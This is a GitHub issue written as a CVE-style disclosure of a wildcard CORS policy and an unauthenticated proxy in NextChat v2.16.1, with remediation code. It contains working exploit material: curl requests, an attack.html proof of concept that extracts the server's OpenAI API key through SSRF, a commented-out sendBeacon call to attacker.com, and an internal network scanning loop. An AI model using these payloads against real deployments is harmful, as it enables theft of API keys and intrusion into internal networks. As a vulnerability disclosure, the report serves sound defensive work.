New issue

Permissive CORS Wildcard Policy on All API Endpoints Enabling Cross-Origin Exploitation #6756

Open

Labels bug

August829 opened 2 weeks ago · edited by August829 Edits

CVE Report: Permissive CORS Wildcard Policy on All API Endpoints Enabling Cross-Origin Exploitation

1. Vulnerability Title

Permissive CORS Wildcard Policy on All API Endpoints Enabling Cross-Origin Exploitation in NextChat (ChatGPT-Next-Web) v2.16.1

2. Product Information

Field	Details
Product	NextChat (ChatGPT-Next-Web)
Version	2.16.1
Repository	https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web
Component	Next.js configuration / CORS headers (`next.config.mjs`)
Language	JavaScript / TypeScript (Next.js)
Deployment	Self-hosted Node.js / Docker / Vercel

3. Vulnerability Type

- **CWE-942**: Permissive Cross-domain Policy with Untrusted Domains
- **CWE-346**: Origin Validation Error
- **CWE-352**: Cross-Site Request Forgery (CSRF) -- facilitated by missing origin restriction

4. Severity and CVSS Score

Metric	Value
CVSS 3.1 Vector	`AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N`
CVSS 3.1 Base Score	**8.2 (High)**
Attack Vector	Network
Attack Complexity	Low
Privileges Required	None
User Interaction	Required (victim visits attacker-controlled page)
Scope	Changed
Confidentiality Impact	High
Integrity Impact	Low
Availability Impact	None

CVSS Justification

- **AV:N** -- The attack is conducted remotely over the network; the attacker hosts a malicious webpage.
- **AC:L** -- No special conditions are needed; the CORS policy is universally permissive by default.
- **PR:N** -- The attacker requires no privileges on the NextChat instance.
- **UI:R** -- The victim must visit the attacker's webpage (or a page containing attacker-controlled JavaScript).
- **S:C** -- The scope changes because the victim's browser, acting as an intermediary, enables the attacker to reach internal network resources and backend API providers that are otherwise inaccessible to the attacker directly.
- **C:H** -- Server-side API keys (OpenAI, Anthropic, Azure, etc.) can be exfiltrated. Internal network service responses can be read cross-origin.
- **I:L** -- The attacker can trigger state-changing operations on unauthenticated endpoints (e.g., WebDAV write operations, artifact creation).
- **A:N** -- No direct denial-of-service vector.

5. Affected Version

Version	Status
<= 2.16.1	Vulnerable

The vulnerable CORS configuration has been present since the header configuration was introduced in `next.config.mjs` and affects all deployment modes except static export (`mode !== "export"`).

6. Vulnerability Description

NextChat configures its Next.js application to attach maximally permissive CORS response headers to every API endpoint under the `/api/*` path prefix. The configuration in `next.config.mjs` (lines 38-63) sets:

- `Access-Control-Allow-Origin: *` -- permits any origin to make cross-origin requests.
- `Access-Control-Allow-Methods: *` -- permits all HTTP methods cross-origin.
- `Access-Control-Allow-Headers: *` -- permits any custom request header to be sent cross-origin, including security-critical headers such as `x-base-url` and `Authorization`.
- `Access-Control-Allow-Credentials: true` -- declares willingness to accept credentialed requests (though browsers enforce a conflict with the `*` origin for credentialed fetch, non-credentialed requests are still fully allowed).
- `Access-Control-Max-Age: 86400` -- caches the preflight response for 24 hours, meaning the permissive policy is cached aggressively.

This configuration allows any website on the internet to make cross-origin requests to all NextChat API endpoints. Because `Access-Control-Allow-Headers: *` permits custom headers, attacker-controlled JavaScript can set the `x-base-url` header, which the proxy endpoint (`/api/[provider]/[...path]/route.ts`) uses to determine the server-side fetch destination. This directly enables cross-origin SSRF attacks.

The combination of this CORS misconfiguration with the unauthenticated proxy endpoint creates a critical attack chain: a victim who simply visits a malicious webpage can have their browser silently instruct the NextChat server to make arbitrary HTTP requests to internal or external services, with the server attaching its own API keys to certain destinations.

7. Root Cause Analysis

7.1 Vulnerable Configuration

File: `next.config.mjs` (lines 38-63)

```
const CorsHeaders = [
  { key: "Access-Control-Allow-Credentials", value: "true" },
  { key: "Access-Control-Allow-Origin", value: "*" },
```

```
    {
      key: "Access-Control-Allow-Methods",
      value: "*",
    },
    {
      key: "Access-Control-Allow-Headers",
      value: "*",
    },
    {
      key: "Access-Control-Max-Age",
      value: "86400",
    },
  ];

  if (mode !== "export") {
    nextConfig.headers = async () => {
      return [
        {
          source: "/api/:path*",
          headers: CorsHeaders,
        },
      ];
    };
    // ... rewrites follow
  }
```

7.2 Why This Is Dangerous

Problem 1: `Access-Control-Allow-Origin: *`

The wildcard origin means every website on the internet receives CORS approval to read responses from NextChat API endpoints. Any JavaScript running in any browser context can issue `fetch()` requests to the NextChat instance and read the response body.

Problem 2: `Access-Control-Allow-Headers: *`

This is the most critical element of the misconfiguration. The proxy endpoint at `/api/[provider]/[...path]/route.ts` dispatches unrecognized providers to the fallback proxy handler in `app/api/proxy.ts`. This proxy handler uses the `x-base-url` request header to construct the server-side fetch URL:

```
// app/api/proxy.ts, lines 19-22
const subpath = params.path.join("/");
const fetchUrl = `${req.headers.get(
  "x-base-url",
)}/${subpath}?${req.nextUrl.searchParams.toString()}`;
```

Normally, `x-base-url` is a custom header that browsers would block in cross-origin requests. However, because `Access-Control-Allow-Headers: *` is set, the browser's preflight check succeeds, and the custom header is permitted cross-origin. This directly enables cross-origin SSRF.

Problem 3: `Access-Control-Allow-Credentials: true` combined with `*` origin

While modern browsers reject credentialed requests when the origin is `*` (per the Fetch specification), this combination signals a fundamental misunderstanding of CORS security. Moreover, the `true` value for `Allow-Credentials` is misleading and may cause confusion in security audits. The non-credentialed requests alone are sufficient for exploitation.

Problem 4: No CSRF Protection

No CSRF tokens, `SameSite` cookie enforcement, or origin validation exists on any endpoint. Combined with the permissive CORS policy, any website can perform state-changing operations.

7.3 Affected API Endpoints

The CORS headers are applied to all routes matching `/api/:path*`, which includes:

Endpoint	Authentication	Risk
`/api/config`	None	Server configuration disclosure
`/api/[provider]/[...path]`	Varies	Proxy/SSRF with API key injection
`/api/artifacts`	None	Cloudflare KV read/write
`/api/webdav/[...path]`	None (app-level)	WebDAV operations on allowed endpoints
`/api/upstash/[action]/[...key]`	Varies	Key-value store operations
`/api/tencent`	Varies	Tencent AI API proxy

7.4 The Proxy Fallback -- Critical Attack Surface

In `app/api/[provider]/[...path]/route.ts` (line 59), any unrecognized provider falls through to the proxy handler:

```
switch (apiPath) {
  case ApiPath.Azure:
    return azureHandler(req, { params });
  // ... other known providers ...
  default:
    return proxyHandler(req, { params });  // <-- fallback to open proxy
}
```

The proxy handler (`app/api/proxy.ts`) performs **no authentication** and constructs the fetch URL entirely from the attacker-controlled `x-base-url` header. Additionally, when the `x-base-url` value contains `api.openai.com`, the server automatically injects its own OpenAI API key:

```
// app/api/proxy.ts, lines 37-46
const baseUrl = req.headers.get("x-base-url");
if (baseUrl?.includes("api.openai.com")) {
  if (!serverConfig.apiKey) {
    return NextResponse.json(
      { error: "OpenAI API key not configured" },
      { status: 500 },
    );
  }
  headers.set("Authorization", `Bearer ${serverConfig.apiKey}`);
}
```

8. Reproduction Steps

Prerequisites

- NextChat v2.16.1 running on `localhost:3003`
- An OpenAI API key configured in the server environment (`OPENAI_API_KEY`)

Step 1: Verify Permissive CORS Headers via Preflight

Send an OPTIONS preflight request from an arbitrary malicious origin with custom headers:

```
curl -s -I -X OPTIONS \
  -H "Origin: https://evil-attacker.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: x-base-url,authorization" \
  http://localhost:3003/api/config
```

Expected Response Headers:

```
HTTP/1.1 204 No Content
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 86400
```

```
Last login: Fri Apr 17 12:46:20 on ttys015
y[redacted]3 ~ % curl -s -I -X OPTIONS \
  -H "Origin: https://test.com" \
  -H "Access-Control-Request-Method: POST" \
  -H "Access-Control-Request-Headers: x-base-url,authorization" \
  http://localhost:3003/api/config
HTTP/1.1 204 No Content
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: *
Access-Control-Allow-Headers: *
Access-Control-Max-Age: 86400
allow: GET, HEAD, OPTIONS, POST
Date: Fri, 17 Apr 2026 05:09:49 GMT
Connection: keep-alive
Keep-Alive: timeout=5

y[redacted]3 ~ %
```

Analysis: The server approves the preflight for `https://evil-attacker.com` to send requests with custom headers `x-base-url` and `authorization`. The browser will now proceed with the actual cross-origin request.

Step 2: Cross-Origin Access to Configuration Endpoint

```
curl -s -X GET \
  -H "Origin: https://evil-attacker.com" \
  http://localhost:3003/api/config
```

Expected Response:

```
{
  "needCode": false,
  "hideUserApiKey": false,
  "disableGPT4": false,
  "hideBalanceQuery": false,
  "disableFastLink": false,
  "customModels": "",
  "defaultModel": "",
  "visionModels": ""
}
```

Analysis: The response includes `Access-Control-Allow-Origin: *`, so any website can read this configuration, revealing whether access codes are required and other server settings.

Step 3: Cross-Origin SSRF via the Proxy Endpoint

```
curl -s -X GET \
  -H "Origin: https://evil-attacker.com" \
  -H "x-base-url: https://httpbin.org/anything?api.openai.com" \
  http://localhost:3003/api/x/test
```

Expected Response (from httpbin):

```
{
  "args": {
    "api.openai.com": ""
  },
  "headers": {
    "Authorization": "Bearer sk-proj-XXXXXXXXXXXX",
    "Host": "httpbin.org",
    ...
  },
  "method": "GET",
  "url": "https://httpbin.org/anything?api.openai.com/test?"
}
```

Analysis: The `x-base-url` header value contains the substring `api.openai.com` (as a query parameter in the httpbin URL), which triggers the server to inject its own OpenAI API key into the `Authorization` header. The response from httpbin reflects all headers, including the leaked API key. Because of the `Access-Control-Allow-Origin: *` header, the attacker's webpage JavaScript can read this response.

Step 4: Full Browser-Based Attack Scenario

Save the following as `attack.html` and open it in a browser while the victim has NextChat accessible:

```
<!DOCTYPE html>
<html>
<head><title>NextChat CORS + SSRF PoC</title></head>
<body>
<h1>NextChat Cross-Origin SSRF Attack</h1>
<pre id="output">Attacking...</pre>
<script>
// Step 1: Probe server configuration cross-origin
fetch('http://localhost:3003/api/config')
  .then(r => r.json())
  .then(config => {
    document.getElementById('output').textContent =
      'Server config: ' + JSON.stringify(config, null, 2);

    // Step 2: Exploit SSRF to steal API key
    return fetch('http://localhost:3003/api/x/test', {
      method: 'GET',
      headers: {
        'x-base-url': 'https://httpbin.org/anything?api.openai.com'
      }
    });
  })
  .then(r => r.json())
  .then(data => {
    const apiKey = data.headers?.Authorization || 'Not found';
    document.getElementById('output').textContent +=
      '\n\nStolen API Key: ' + apiKey;
```

```
    // Step 3: Exfiltrate to attacker server
    // navigator.sendBeacon('https://attacker.com/collect',
    //   JSON.stringify({ key: apiKey }));
  })
  .catch(e => {
    document.getElementById('output').textContent += '\nError: ' + e;
  });
</script>
</body>
</html>
```

Result: When any user opens a page containing this script (or when this script is injected via XSS on any site), the victim's browser:

1. Reads the NextChat server configuration cross-origin.
2. Triggers an SSRF request through the NextChat proxy with a crafted `x-base-url`.
3. Receives the reflected response containing the server's OpenAI API key.
4. Exfiltrates the key to the attacker's server.

Step 5: Verify Headers Are Cached for 24 Hours

The `Access-Control-Max-Age: 86400` header means the browser caches the preflight approval for 24 hours. After the initial preflight, subsequent cross-origin requests within the same browser session skip the preflight entirely, making the attack faster and stealthier:

```
curl -s -I -X OPTIONS \
  -H "Origin: https://evil-attacker.com" \
  -H "Access-Control-Request-Method: GET" \
  http://localhost:3003/api/config | grep -i "max-age"
```

Expected Output:

```
Access-Control-Max-Age: 86400
```

9. Impact Assessment

9.1 Confidentiality (High)

- **API Key Theft**: Server-configured API keys for OpenAI, Anthropic, Azure, Google, Baidu, ByteDance, Alibaba, Moonshot, iFlytek, DeepSeek, XAI, ChatGLM, and SiliconFlow can be exfiltrated through the cross-origin SSRF chain.
- **Internal Network Reconnaissance**: The SSRF proxy allows the attacker to scan internal network services through the victim's browser, reading responses cross-origin.

- **Configuration Disclosure**: The `/api/config` endpoint reveals server settings (whether access codes are enabled, custom model configurations, etc.) to any origin.

9.2 Integrity (Low)

- **Unauthorized API Operations**: Attackers can trigger API calls to third-party AI providers using the server's credentials from any webpage.
- **WebDAV Manipulation**: The `/api/webdav` endpoint, while restricted in target paths, can be accessed cross-origin for backup file read/write operations on allowed endpoints.
- **Artifact Store Manipulation**: The `/api/artifacts` endpoint allows cross-origin creation and retrieval of artifacts in Cloudflare KV storage.

9.3 Availability (None)

- No direct denial-of-service impact, though accumulated unauthorized API usage could exhaust rate limits or billing quotas.

9.4 Scope

The scope is **Changed** because:

- The attacker operates from their own domain but gains access to resources on the NextChat server's network.
- The victim's browser serves as an unwitting relay, crossing trust boundaries.
- Backend API provider accounts (OpenAI, etc.) are impacted despite being separate security domains.

10. Attack Scenarios

Scenario 1: API Key Theft via Malicious Advertisement

An attacker places a JavaScript payload in a third-party advertisement network. When a NextChat administrator or user visits any website displaying the ad, the JavaScript silently:

1. Sends a preflight-approved cross-origin request to the NextChat instance.
2. Uses the `x-base-url` header to route the server-side request to an attacker-controlled endpoint with `api.openai.com` in the URL.
3. The server injects its OpenAI API key and forwards the request.
4. The attacker's endpoint captures the key and returns it in the response body.
5. The JavaScript reads the response (allowed by `Access-Control-Allow-Origin: *`) and exfiltrates the key.

Scenario 2: Internal Network Scanning

An attacker hosts a webpage that iterates through internal IP ranges (e.g., `192.168.1.0/24`, `10.0.0.0/8`) using the NextChat SSRF proxy:

```
for (let i = 1; i <= 254; i++) {
  fetch(`http://nextchat-instance:3003/api/x/scan`, {
    headers: { 'x-base-url': `http://192.168.1.${i}:8080` }
  })
  .then(r => r.text())
  .then(body => {
    if (body.length > 0) {
      // Internal service discovered and response readable cross-origin
      reportToAttacker(`192.168.1.${i}`, body);
    }
  })
  .catch(() => {}); // Host unreachable
}
```

Scenario 3: Cross-Site Data Exfiltration via Config Endpoint

An attacker embeds a script in a phishing email or compromised website that reads the NextChat `/api/config` endpoint to determine whether access codes are required. If `needCode` is `false`, the attacker knows the instance is unprotected and escalates to full SSRF exploitation.

Scenario 4: Credential Harvesting at Scale

An attacker targets publicly-accessible NextChat instances (discoverable via Shodan or Censys) by embedding cross-origin fetch calls in a popular website or browser extension. Because the CORS policy is universally permissive, every NextChat instance visited by any user of the compromised site/extension is automatically exploited.

11. Remediation Recommendations

11.1 Immediate Fix: Restrict CORS Origin

Replace the wildcard origin with a dynamic origin validation or a specific allowed origin list:

```
// next.config.mjs -- Recommended fix
const nextConfig = {
  // ...existing config...
};

if (mode !== "export") {
  nextConfig.headers = async () => {
    return [
      {
        source: "/api/:path*",
        headers: [
          {
            key: "Access-Control-Allow-Methods",
            value: "GET, POST, PUT, DELETE, OPTIONS",
          },
          {
```

```
            key: "Access-Control-Allow-Headers",
            value: "Content-Type, Authorization",
          },
          {
            key: "Access-Control-Max-Age",
            value: "86400",
          },
          // NOTE: Access-Control-Allow-Origin should be set
          // dynamically in middleware, not as a static wildcard.
          // For self-hosted instances, use the deployment URL.
        ],
      },
    ];
  };
}
```

11.2 Implement Dynamic Origin Validation via Middleware

Create a Next.js middleware that validates the `Origin` header against an allowlist:

```
// middleware.ts
import { NextResponse } from 'next/server';
import type { NextRequest } from 'next/server';

const ALLOWED_ORIGINS = new Set([
  process.env.NEXTAUTH_URL,
  // Add other trusted origins here
].filter(Boolean));

export function middleware(request: NextRequest) {
  const origin = request.headers.get('origin');
  const response = NextResponse.next();

  if (origin && ALLOWED_ORIGINS.has(origin)) {
    response.headers.set('Access-Control-Allow-Origin', origin);
    response.headers.set('Vary', 'Origin');
  }

  return response;
}
```

11.3 Remove `Access-Control-Allow-Credentials: true`

The `Allow-Credentials: true` header is incompatible with `Allow-Origin: *` per the specification. If credentials are not needed for cross-origin requests (which is the case for NextChat's API design), this header should be removed entirely.

11.4 Restrict `Access-Control-Allow-Headers`

Replace the wildcard with an explicit list of required headers:

```
{
  key: "Access-Control-Allow-Headers",
  value: "Content-Type, Authorization"
}
```

Critically, `x-base-url` must **not** be included in the allowed headers list for cross-origin requests, as it controls server-side fetch destinations.

11.5 Implement CSRF Protection

Add CSRF token validation for all state-changing API endpoints:

- Generate a CSRF token on the server and include it in the client-side application.
- Validate the token on every POST, PUT, and DELETE request.
- Use the `SameSite=Strict` or `SameSite=Lax` cookie attribute for any session cookies.

11.6 Add Authentication to the Proxy Endpoint

The proxy handler in `app/api/proxy.ts` performs no authentication. It should call the `auth()` function before processing requests, consistent with the other provider handlers.

12. References

- **OWASP CORS Misconfiguration**: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/11-Client-side_Testing/07-Testing_Cross_Origin_Resource_Sharing
- **CWE-942**: Permissive Cross-domain Policy with Untrusted Domains -- https://cwe.mitre.org/data/definitions/942.html
- **CWE-346**: Origin Validation Error -- https://cwe.mitre.org/data/definitions/346.html
- **MDN CORS Documentation**: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS
- **Fetch Standard (CORS Protocol)**: https://fetch.spec.whatwg.org/#http-cors-protocol
- **NextChat GitHub Repository**: https://github.com/ChatGPTNextWeb/ChatGPT-Next-Web
- **CVSS 3.1 Calculator**: https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N

August829 added bug 2 weeks ago

Issues-translate-bot 2 weeks ago

> Bot detected the issue body's language is not English, translate it automatically.

📦 Deployment method

Vercel

📌 Software version

1

💻 System environment

iPadOS

📌 System version

1

🌐 Browser

Firefox

📌 Browser version

1

🐛 Problem description

1

📷 Steps to reproduce

No response

🚦 Expected results

No response

📝 Supplementary information

No response

August829 changed the title ~~1~~ Permissive CORS Wildcard Policy on All API Endpoints Enabling Cross-Origin Exploitation 2 weeks ago

Metadata

Assignees

No one assigned

Labels

bug

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Participants